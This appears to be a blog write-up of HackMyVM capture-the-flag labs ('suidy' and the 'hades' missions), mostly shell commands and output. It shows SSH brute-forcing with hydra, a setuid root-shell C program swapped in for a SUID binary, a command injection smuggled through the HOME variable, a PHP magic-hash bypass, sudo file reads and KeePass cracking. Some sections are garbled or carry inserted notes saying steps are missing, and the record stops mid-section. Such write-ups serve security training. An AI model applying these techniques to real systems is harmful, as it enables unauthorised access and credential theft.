Hello Navi

Tech, Security & Personal Notes

suidy

scan

1
2
3
4
5
6
7
8
9
10
❯ rustscan -a  192.168.0.109 -- -A -sV
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open domain syn-ack (generic dns response: SERVFAIL)
80/tcp open http syn-ack nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

web

1
2
3
❯ gobuster dir -u http://192.168.0.109/ -w ~/wordlists/dir.txt
/index.html (Status: 200) [Size: 22]
/robots.txt (Status: 200) [Size: 362]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
view-source:http://192.168.0.109/robots.txt

/hi
/....\..\.-\--.\.-\..\-.
/shehatesme

.... .. .- --. .- .. -.
from morse code
HIAGAIN
hiagain

http://192.168.0.109/shehatesme/

She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like "theuser/thepass" to access to her system!
All that you need is an small dict from Seclist!

❯ gobuster dir -u http://192.168.0.109/shehatesme/ -w ~/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt
/full.txt
/about.txt
/search.txt
/privacy.txt
/blog.txt
/new.txt
/page.txt
/forums.txt
/jobs.txt
/other.txt
/welcome.txt
/admin.txt
/faqs.txt
/2001.txt
/link.txt
/space.txt
/network.txt
/google.txt
/folder.txt
/java.txt
/issues.txt
/guide.txt
/es.txt
/art.txt
/smilies.txt
/airport.txt
/secret.txt
/procps.txt
/pynfo.txt
/lh2.txt
/muze.txt
/alba.txt
/cymru.txt
/wha.txt

request and get file

1
2
3
4
5
6
7
8
import requests
import sys

for j in sys.stdin:
j=j.strip()
response=requests.get(f"http://192.168.0.109/shehatesme{j}")
# print(f"http://192.168.0.109/shehatesme{j}")
print(response.text)

bruteforce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ cat tmp | python tmp.py | sort | uniq -c
34
1 hidden1/passZZ!
25 jaime11/JKiufg6
1 jhfbvgt/iugbnvh
1 john765/FDrhguy
1 maria11/jhfgyRf
1 mmnnbbv/iughtyr
1 nhvjguy/kjhgyut
1 smileys/98GHbjh
1 theuser/thepass
1 yuijhse/hjupnkk

❯ hydra -L ./tmp -P ./tmp2 ssh://192.168.0.109
[22][ssh] host: 192.168.0.109 login: theuser password: thepass

hidden1:passZZ!
jaime11:JKiufg6
jhfbvgt:iugbnvh
john765:FDrhguy
maria11:jhfgyRf
mmnnbbv:iughtyr
nhvjguy:kjhgyut
smileys:98GHbjh
theuser:thepass
yuijhse:hjupnkk

❯ hydra -C ./tmp ssh://192.168.0.109
[22][ssh] host: 192.168.0.109 login: theuser password: thepass

ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
theuser/thepass
❯ ssh theuser@192.168.0.109
theuser@suidy:~$ ls -al
total 36
drwxr-xr-x 3 theuser theuser 4096 sep 27 2020 .
drwxr-xr-x 4 root root 4096 sep 26 2020 ..
-rw------- 1 theuser theuser 29 sep 27 2020 .bash_history
-rw-r--r-- 1 theuser theuser 220 sep 26 2020 .bash_logout
-rw-r--r-- 1 theuser theuser 3526 sep 26 2020 .bashrc
drwxr-xr-x 3 theuser theuser 4096 sep 26 2020 .local
-rw-r--r-- 1 theuser theuser 807 sep 26 2020 .profile
-rw-r--r-- 1 theuser theuser 11 sep 26 2020 user.txt
-rw------- 1 theuser theuser 51 sep 26 2020 .Xauthority
theuser@suidy:~$ cat user.txt
HMV2353IVI

theuser@suidy:~$ find / -perm -u=s -type f 2>/dev/null | xargs ls -la
-rwsrwsr-x 1 root theuser 16704 sep 26 2020 /home/suidy/suidyyyyy
-rwsr-xr-x 1 root root 54096 jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 84016 jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 51280 ene 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 44440 jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 63736 jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 63568 ene 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 34888 ene 10 2019 /usr/bin/umount
-rwsr-xr-- 1 root messagebus 51184 jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 ene 31 2020 /usr/lib/openssh/ssh-keysign

theuser@suidy:/home/suidy$ ./suidyyyyy
suidy@suidy:/home/suidy$ id
uid=1001(suidy) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
suidy@suidy:/home/suidy$ cat note.txt
I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID.
If you are "theuser" I hate you!

-suidy

upload

1
❯ python -m http.server
1
2
3
4
5
6
7
suidy@suidy:/home/suidy$ wget http://192.168.0.105:8000/pspy64

2025/08/08 14:49:41 CMD: UID=0 PID=1 | /sbin/init
2025/08/08 14:50:01 CMD: UID=0 PID=1446 | /usr/sbin/CRON -f
2025/08/08 14:50:01 CMD: UID=0 PID=1447 | /usr/sbin/CRON -f
2025/08/08 14:50:01 CMD: UID=0 PID=1448 | /bin/sh -c sh /root/timer.sh
2025/08/08 14:50:01 CMD: UID=0 PID=1449 | sh /root/timer.sh

upload and gcc and replace suidyyyyy

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
setuid(0);
setgid(0);
system("/bin/bash");
}
1
2
3
4
5
6
7
8
theuser@suidy:~$ gcc rootshell.c -o suidyyyyy
theuser@suidy:~$ cp suidyyyyy /home/suidy/suidyyyyy

theuser@suidy:/home/suidy$ ./suidyyyyy
root@suidy:/home/suidy# id

root@suidy:/root# cat root.txt
HMV0000EVE

aphrodite

1
2
3
4
5
6
7
8
9
10
11
12
13
aphrodite@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x07 #
################

## EN ##
The user ariadne knows what we keep in our HOME.

aphrodite@hades:~$ HOME=";cat /pwned/aphrodite/ariadne_pass.txt" ./homecontent
The content of your HOME is:
ariadne_pass.txt flagz.txt homecontent mission.txt
????????????????????

asteria

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
################
# MISSION 0x12 #
################

## EN ##
The user astraea believes in magic.

## ES ##
La usuaria astraea cree en la magia.

asteria@hades:~$ cat sihiri_old.php

<?php
$pass = hash('md5', $_GET['pass']);
$pass2 = hash('md5',"ASTRAEA_PASS");
if($pass == $pass2){
print("ASTRAEA_PASS");
}
else{
print("Incorrect ^^");
}
?>

asteria@hades:~$ curl http://localhost/sihiri.php?pass=QNKCDZO

????????????????????

astraea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
astraea@hades.hackmyvm.eu's password:
^????????????????????^
Connection to hades.hackmyvm.eu closed.

ftp> get flagz.txt

asteria@hades:/var/tmp$ cat flag*
cat: flagggg: Permission denied
^????????????????????
^????????????????????

asteria@hades:~$ ftp localhost
ftp> lcd /var/tmp
Local directory now: /var/tmp
ftp> get mission.txt
ftp> get atalanta.txt
ftp> exit

asteria@hades:/var/tmp$ cat mission.txt atalanta.txt
################
# MISSION 0x13 #
################

## EN ##
The user atalanta has done something with our account.

## ES ##
La usuaria atalanta ha hecho algo con nuestra cuenta.
????????????????????

atalanta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
atalanta@hades:~$ ls -la
total 56
drwxr-x--- 2 root atalanta 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 atalanta atalanta 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 atalanta atalanta 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 atalanta atalanta 807 Apr 23 2023 .profile
-rw-r----- 1 root atalanta 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root atalanta 237 Apr 5 2024 mission.txt
-r-sr-s--- 1 root atalanta 16608 Apr 5 2024 weird
-r-------- 1 atalanta atalanta 927 Apr 5 2024 weird.c
atalanta@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x14 #
################

## EN ##
User athena lets us run her program, but she hasn't left us her source code.

## ES ##
La usuaria athena nos deja ejecutar su programa, pero no nos ha dejado su codigo fuente.

atalanta@hades:~$ mktemp -d
/tmp/tmp.oEM2noP6Aj
atalanta@hades:~$ cd /tmp/tmp.oEM2noP6Aj
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ touch a
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ chmod 777 a
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ chmod 777 /tmp/tmp.oEM2noP6Aj
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ ls -la
total 0
drwxrwxrwx 2 atalanta atalanta 60 Jul 27 06:26 .
drwxr-x-wx 15 root root 1040 Jul 27 06:26 ..
-rwxrwxrwx 1 atalanta atalanta 0 Jul 27 06:26 a
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ HOME=/tmp/tmp.oEM2noP6Aj/a ~/weird
HOME detected: /tmp/tmp.oEM2noP6Aj/a
atalanta@hades:/tmp/tmp.oEM2noP6Aj$ cat a
????????????????????

athena

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
athena@hades:~$ ls -la
total 36
drwxr-x--- 2 root athena 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 athena athena 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 athena athena 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 athena athena 807 Apr 23 2023 .profile
-rw-r----- 1 root athena 166 Apr 5 2024 auri_old.sh
-rw-r----- 1 root athena 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root athena 160 Apr 5 2024 mission.txt
athena@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x15 #
################

## EN ##
User aura lets us use her new script.

## ES ##
La usuaria aura nos deja utilizar su nuevo script.

athena@hades:~$ cat auri_old.sh

#!/bin/bash
echo "What?"
read hackme
#Secure the condition!
#if [[ $hackme =~ "????????" ]]; then
#exit
#fi
#Add newest Aura pass!
#$hackme AURANEWPASS 2>/dev/null

athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh
What?
printf
????????????????????

aura

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
aura@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x16 #
################

## EN ##
User aegle has a good memory for numbers.

## ES ##
La usuaria aegle tiene buena memoria para los numeros.

aura@hades:~$ ./numbers
Enter one number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
3
Number OK
Enter next number:
1
Number OK
Enter next number:
2
Number OK
Enter next number:
3
Number OK
Enter next number:
1

NO :_(
aura@hades:~$ for i in $(seq 0 10); do echo -e "1\n2\n3\n1\n2\n3\n9\n1\n1\n1\n1\n2\n$i\n" | ./numbers; done
...
????????????????????
...

aegle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
aegle@hades:~$ ls -la
total 36
drwxr-x--- 2 root aegle 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 aegle aegle 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 aegle aegle 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 aegle aegle 807 Apr 23 2023 .profile
-rw-r----- 1 root calliope 21 Apr 5 2024 calliope_pass.txt
-rw-r----- 1 root aegle 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root aegle 176 Apr 5 2024 mission.txt
aegle@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x17 #
################

## EN ##
User calliope likes to have her things looked at.

## ES ##
A la usuaria calliope le gusta que le miren sus cosas.

aegle@hades:~$ sudo -l
Matching Defaults entries for aegle on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User aegle may run the following commands on hades:
(calliope) NOPASSWD: /bin/cat
aegle@hades:~$ sudo -u calliope /bin/cat /pwned/calliope/flagz.txt
^????????????????????

17: calliope/IlhyWxZuqIHAuqVOpXfQ

calliope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
calliope@hades:~$ ls -la
total 52
drwxr-x--- 3 root calliope 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 calliope calliope 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 calliope calliope 3533 Apr 5 2024 .bashrc
-rw-r--r-- 1 calliope calliope 807 Apr 23 2023 .profile
drwxr-xr-x 2 root root 4096 Apr 5 2024 .ssh
-rw-r----- 1 root calliope 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root calliope 175 Apr 5 2024 mission.txt
-r-s--s--- 1 root calliope 16360 Apr 5 2024 writeme
calliope@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x18 #
################

## EN ##
The user calypso often uses write to communicate.

## ES ##
La usuaria calypso suele usar write para comunicarse.


calliope@hades:~$ mesg
is n
calliope@hades:~$ mesg y
calliope@hades:~$ ./writeme
Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!TAMYefoHcCPmexwImodo^OCbFzMIKPQOZQMEUKwEi^Cannot send you my pass!calliope@hades:~$

calypso

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
calypso@hades:~$ ls -la
total 8556
drwxr-x--- 2 root calypso 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 calypso calypso 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 calypso calypso 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 calypso calypso 807 Apr 23 2023 .profile
-rw-r----- 1 root calypso 8726358 Dec 20 2021 cassy.wav
-rw-r----- 1 root calypso 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root calypso 164 Apr 5 2024 mission.txt
calypso@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x19 #
################

## EN ##
User cassandra always wanted to be on TV.

## ES ##
La usuaria cassandra siempre quiso salir en la TV.


❯ scp -P 6666 calypso@hades.hackmyvm.eu:~/cassy.wav .
❯ install qsstv
config->sound->sound input from file
receive pic

CKzlnvmHQz

cassandra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
cassandra@hades:~$ ls -la
total 36
drwxr-x--- 2 root cassandra 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 cassandra cassandra 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 cassandra cassandra 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 cassandra cassandra 807 Apr 23 2023 .profile
-rw-r----- 1 root cassandra 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root cassandra 369 Apr 5 2024 here.txt
-rw-r----- 1 root cassandra 147 Apr 5 2024 mission.txt
cassandra@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x20 #
################

## EN ##
User cassiopeia sees the invisible.

## ES ##
La usuaria cassiopeia ve lo invisible.

cassandra@hades:~$ cat here.txt
VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg
CSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg
CSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg
ICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg
ICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo=

┌──(vagrant㉿kali)-[~]
└─$ cat here.txt| base64 -d > a

┌──(vagrant㉿kali)-[~]
└─$ stegsnow a
????????????????????

cassiopeia

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
cassiopeia@hades:~$ ls -al
total 32
drwxr-x--- 2 root cassiopeia 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 cassiopeia cassiopeia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 cassiopeia cassiopeia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 cassiopeia cassiopeia 807 Apr 23 2023 .profile
-rw-r----- 1 root cassiopeia 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root cassiopeia 131 Apr 5 2024 mission.txt
cassiopeia@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x21 #
################

## EN ##
User clio hates spaces.

## ES ##
La usuaria clio odia los espacios.
cassiopeia@hades:~$ sudo -l
Matching Defaults entries for cassiopeia on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cassiopeia may run the following commands on hades:
(clio) NOPASSWD: /bin/bash -c /usr/local/src/differences.sh

cassiopeia@hades:/tmp/tmp.CGOZYkJ5b1$ cat /usr/local/src/differences.sh

#!/bin/bash
echo File to compare:!
read differences
IFS=0 read file1 file2 <<< "$differences"

if [[ "$differences" =~ \ |\' ]]
then
echo "No spaces!!"
else
/usr/bin/diff $file1 $file2
fi

cassiopeia@hades:/tmp/tmp.CGOZYkJ5b1$ chmod 777 a
cassiopeia@hades:/tmp/tmp.CGOZYkJ5b1$ chmod 777 .
cassiopeia@hades:/tmp/tmp.CGOZYkJ5b1$ sudo -u clio /bin/bash -c /usr/local/src/differences.sh
File to compare:!
/pwned/clio/flagz.txt0/tmp/tmp.CGOZYkJ5b1/a
1c1
< ^XUJbvPwAZYgoUgkpeSv^
---
>

clio

1
2
3
4
5
6
7
8
9
10
11
12
13
clio@hades:~$ cat mission.txt
################
# MISSION 0x22 #
################

## EN ##
The user cybele uses her lastname as a password.

## ES ##
La usuaria cybele usa su apellido como password.

clio@hades:~$ cat /etc/passwd | grep cybel
cybele:x:2014:2014:UICacOPmJMWbKyPwNZod:/pwned/cybele:/bin/bash

cybele

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cybele@hades:~$ ls -al
total 3220
drwxr-x--- 2 root cybele 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 cybele cybele 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 cybele cybele 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 cybele cybele 807 Apr 23 2023 .profile
-rw-r----- 1 root cybele 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root cybele 3263057 Dec 30 2021 fun.png
-rw-r----- 1 root cybele 163 Apr 5 2024 mission.txt
cybele@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x23 #
################

## EN ##
User cynthia sees things that others dont.

## ES ##
La usuaria cynthia ve cosas que el resto no ven.

stegsolve

????????????????????

cynthia

Gemini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cynthia@hades:~$ ls -al
total 32
drwxr-x--- 2 root cynthia 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 cynthia cynthia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 cynthia cynthia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 cynthia cynthia 807 Apr 23 2023 .profile
-rw-r----- 1 root cynthia 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root cynthia 187 Apr 5 2024 mission.txt
cynthia@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x24 #
################

## EN ##
User daphne once told us: Gemini? gem-evil.hmv? WTF?

## ES ##
La usuaria daphne nos dijo una vez: Gemini? gem-evil.hmv? WTF?

cynthia@hades:~$ echo -e "gemini://gem-evil.hmv/\r" | openssl s_client -connect 127.0.0.1:1965 -servername gem-evil.hmv -quiet
depth=0 CN = gem-evil.hmv
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = gem-evil.hmv
verify return:1
20 text/gemini

# Welcome to mi Gemini Server!
## What are you looking for?
????????????????????

delia

记录使用两个已有 SSH 会话:delia 会话将终端中难以辨读的输出重定向到 /var/tmp/ctf,daphne 会话读取该中间文件。具体重定向命令和 showpass 的调用未保留,因此以下 transcript 只记录结果形态,不能作为完整的 delia→demeter 过渡步骤。

1
2
3
4
5
6
7
8
9
10
# use this shell create middle file, chmod, ls -al > file, cat ./* > file.....

^Q°▒HP≤E─M␊⎻⎽O␍M│QCQ^
################
# MISSION ▮│26 #
################

## EN ##
U⎽␊⎼ ␍␊└␊├␊⎼ ⎼␊▒␍⎽ ␋┼ ▒┼⎺├␤␊⎼ ┌▒┼±┤▒±␊↓
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
daphne@hades:~$ cat /var/tmp/ctf
^????????????????????
################
# MISSION 0x26 #
################

## EN ##
User demeter reads in another language.

## ES ##
La usuaria demeter lee en otro idioma.

daphne@hades:~$ cat /var/tmp/ctf
total 48
drwxr-x--- 2 root delia 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 delia delia 220 Apr 23 2023 .bash_logout
-r--r----- 1 delia delia 3539 Apr 5 2024 .bashrc
-rw-r--r-- 1 delia delia 807 Apr 23 2023 .profile
-rw-r----- 1 root delia 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root delia 150 Apr 5 2024 mission.txt
---x--x--- 1 delia delia 15952 Apr 5 2024 showpass
daphne@hades:~$ cat /var/tmp/ctf

????????????????????

demeter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
demeter@hades:~$ ls -la
total 32
drwxr-x--- 2 root demeter 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 demeter demeter 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 demeter demeter 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 demeter demeter 807 Apr 23 2023 .profile
-rw-r----- 1 root demeter 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root demeter 119 Apr 5 2024 mission.txt
demeter@hades:~$ cat ./*
^????????????????????
################
# MISSION 0x27 #
################

## EN ##
The user echo permute.

## ES ##
La usuaria echo permuta.
demeter@hades:~$ sudo -l
Matching Defaults entries for demeter on hades:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User demeter may run the following commands on hades:
(echo) NOPASSWD: /usr/bin/ptx

demeter@hades:~$ LFILE=/pwned/echo/flagz.txt;sudo -u echo ptx -w 5000 "$LFILE"
^????????????????????

echo

上段的 sudo -u echo ptx -w 5000 使用已列出的 sudo 权限读取 echo 的文件;它只展示文件读取,不证明已获得 echo 的 SSH 凭据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
echo@hades:~$ ls -al
total 468
drwxr-x--- 2 root echo 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 echo echo 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 echo echo 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 echo echo 807 Apr 23 2023 .profile
-rw-r----- 1 root echo 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root echo 142 Apr 5 2024 mission.txt
-rw-r----- 1 root echo 442848 Dec 20 2021 noise.wav
echo@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x28 #
################

## EN ##
The user eos can see the sounds.

## ES ##
La usuaria eos puede ver los sonidos.

# spectrum
# audacity btw
CWBKRQX

eos

上一节点记录使用 Audacity 的频谱视图读取 noise.wav 中的文字,但没有保留频谱图、显示范围和窗口参数;所列字符串无法在此独立核验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
eos@hades:~$ ls -la
total 36
drwxr-x--- 2 root eos 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 eos eos 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 eos eos 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 eos eos 807 Apr 23 2023 .profile
-rw-r----- 1 root eos 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root eos 181 Apr 5 2024 mission.txt
-r-xr-x--- 1 root eos 1902 Apr 5 2024 secretz.kbdx
eos@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x29 #
################

## EN ##
The user gaia is very careful saving her passwords.

## ES ##
La usuaria gaia es muy precavida guardando sus passwords.

~
❯ keepass2john secretz.kbdx > hash

~
❯ john ./hash --wordlist=~/wordlists/rockyou.txt
...
heaven (secretz.kbdx)
...
# open with keepassxc
????????????????????

gaia

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gaia@hades:~$ ls -al
total 40
drwxr-x--- 2 root gaia 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 gaia gaia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 gaia gaia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 gaia gaia 807 Apr 23 2023 .profile
-rw-r----- 1 root gaia 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root gaia 10 Apr 5 2024 hpass1.txt
-rw-r----- 1 root powah 23 Apr 5 2024 hpass2.txt
-rw-r----- 1 root gaia 146 Apr 5 2024 mission.txt
gaia@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x30 #
################

## EN ##
User halcyon wants all the powah.

## ES ##
La usuaria halcyon quiere todo el powah.

gaia@hades:~$ cat hpass1.txt

manuela

gaia@hades:~$ cat hpass2.txt
cat: hpass2.txt: Permission denied
gaia@hades:~$ id
uid=2021(gaia) gid=2021(gaia) groups=2021(gaia)
gaia@hades:~$ id halcyon
uid=2022(halcyon) gid=2022(halcyon) groups=2022(halcyon)
gaia@hades:~$ cat /etc/passwd | grep powah
gaia@hades:~$ newgrp powah
Password:
gaia@hades:~$ id
uid=2021(gaia) gid=1000(powah) groups=1000(powah),2021(gaia)
gaia@hades:~$ cat hpass2.txt

????????????????????

halcyon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
halcyon@hades:~$ ls -la
total 32
drwxr-x--- 2 root halcyon 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 halcyon halcyon 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 halcyon halcyon 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 halcyon halcyon 807 Apr 23 2023 .profile
-rw-r----- 1 root halcyon 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root halcyon 252 Apr 5 2024 mission.txt
halcyon@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x31 #
################

## EN ##
The user hebe has one 'magicword' to get her password using http://localhost/req.php

## ES ##
La usuaria hebe tiene una 'magicword' para obtener su password usando http://localhost/req.php

halcyon@hades:~$ curl http://localhost/req.php?magicword=password

????????????????????

hebe

IRC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
hebe@hades:~$ ls -al
total 32
drwxr-x--- 2 root hebe 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
